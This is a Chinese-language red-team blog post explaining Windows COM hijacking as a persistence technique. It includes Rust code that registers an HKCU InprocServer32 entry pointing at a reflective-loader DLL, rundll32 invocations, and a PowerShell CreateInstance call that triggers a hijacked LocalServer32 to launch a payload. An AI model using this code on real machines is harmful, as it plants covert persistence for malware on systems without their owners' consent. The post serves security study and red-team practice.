组件对象模型 (COM) 是 Windows 的一项功能,用于通过操作系统本身提供软件组件之间的互操作性。简而言之,COM 劫持技术试图通过重定向或劫持调用者应用程序来调用攻击者的有效负载,从而滥用这种互操作性。COM 类可以与处理程序 DLL 相关联,当调用者应用程序尝试执行互操作时,该 DLL 将会执行。
关于CLSID
COM 组件的 CLSID(Class Identifier,类标识符)是一个全局唯一标识符(GUID),用于标识一个 COM 类对象。
- 标识 COM 类对象 :CLSID 用于唯一标识一个 COM 类。在 COM 中,类对象是一种提供实例化的模板,类似于面向对象编程中的类。CLSID 就是 COM 类对象的唯一标识符。
- COM 对象的创建 :当应用程序需要创建一个 COM 对象时,它会调用系统提供的 CoCreateInstance 函数,并传递相应的 CLSID。系统会在注册表中查找这个 CLSID,获取与之关联的 COM 类工厂,并通过工厂创建该 COM 对象的实例。
- 注册表中的存储 :CLSID 通常与该 COM 类的二进制文件路径(例如 DLL 或 EXE)相关联,一般位于注册表中,
HKLM\SOFTWARE\Classes\CLSID和HKCU\SOFTWARE\Classes\CLSID和HKCR\CLSIDWindows系统中应用程序读取COM注册表信息的顺序如下,一般默认是注册到第二个位置HKCR,其实最好将其修改为HKCU下面,因为注册表也是有读写权限的,而HKCR的权限要求比HKCU高。
HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID
HKEY_CLASSES_ROOT\CLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
CLSID结构体如下:
typedef struct _GUID {
DWORD Data1; # 随机数
WORD Data2; # 和时间相关
WORD Data3; # 和时间相关
BYTE Data4[8]; # 和网卡MAC相关
} GUID;
typedef GUID CLSID; # 组件ID
typedef GUID IID; # 接口IDCoCreateInstance的时候,要先拥有该对象指定的classid和接口id,然后创建该接口的对象实例,随后可以调用drive。可以在任何语言中调用com组件.
每一个CLSID键下会有一个基本子键LocalServer32或InprocServer32,它两的键值代表该COM组件提供的功能。其中LocalServer32的默认键值一般表示可执行文件(exe)的路径,而InprocServer32的默认键值表示动态链接库(DLL)的路径。也可以有其他的子键,如图中所示的ThreadingModel作用是标记该DLL的线程模型,更为详细的介绍可以看微软官方文档。

com组件劫持
一般来讲,进行com组件劫持有这几种方法:
- HKCR中有,而HKCU中没有,只需要在HKCU中注册即可劫持HKCR中的COM服务。
- 修改掉
LocalServer32或InprocServer32的键值。 - 替换掉
LocalServer32或InprocServer32的键值中的文件,或者该文件并不存在可直接写入。 在完成替换之后可以直接通过rundll32进行执行
rundll32.exe -sta {CLSID}
- or -
rundll32.exe -sta ProgID这里用于枚举可能存在COM劫持的LocalServer32/InprocServer32值的工具使用Spartacus,COM-Hijacker.
发现其中

只有HKCR存在InprocServer32
用rust在HKCU设置InprocServer32
use winreg::enums::*;
use winreg::RegKey;
fn main() -> Result<(), Box<dyn std::error::Error>> {
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let classes = hkcu.open_subkey_with_flags("Software\\Classes\\CLSID", KEY_ALL_ACCESS)?;
let (key, disp) = classes.create_subkey("{FE58C767-BFC9-4B9B-9E9B-462DDBE9B4D9}")?;
match disp {
REG_CREATED_NEW_KEY => println!("A new key has been created"),
REG_OPENED_EXISTING_KEY => println!("An existing key has been opened"),
}
let (inproc_server32,_) = key.create_subkey("InprocServer32")?;
if let Err(e) = inproc_server32.set_value("", &"C:\\Users\\kkfine\\Desktop\\redteam\\rdi-rs\\reflective_loader\\target\\debug\\reflective_loader.dll") {
eprintln!("Failed to set registry value: {:?}", e);
} else {
println!("Registry value set successfully.");
}
Ok(())
}
启动一下C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.20.11781.0_arm64__8wekyb3d8bbwe\WindowsTerminal.exe
加载HKCR中CLSID发现已经success了,但是没有弹框,很奇怪。
换个方式,试试计划任务,所有计划任务的配置文件位于 C:\Windows\System32\Tasks 文件夹中,要劫持的在 C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask 下的 Wininet Cache Task。

在HKCR创建CLSID,仍然未能弹框,不知道什么原因。
试试LocalServer32吧,LocalServer32注册表项指定外部 COM 对象在系统上的位置。这些通常是具有可执行文件形式的应用程序。替换HKEY_CLASSES_ROOT\CLSID\{45EAE363-122A-445A-97B6-3DE890E786F8}\LocalServer32
利用命令调用ClassID,这下能上线了。
[activator]::CreateInstance([type]::GetTypeFromCLSID("45EAE363-122A-445A-97B6-3DE890E786F8"))

当然关于com组件利用的方式还有很多,这里只是一个简单的尝试和介绍。
参考文章: https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/ https://www.crisprx.top/archives/128 https://wizardcyber.com/com-hijacking-enhancing-red-team-persistence-strategies/ https://blog.virustotal.com/2024/03/com-objects-hijacking.html https://xz.aliyun.com/t/14607?time__1311=GqAhYK0KAKDIq057KGQ0qBKSbbDgGghWCoD https://tttang.com/archive/1824/#toc_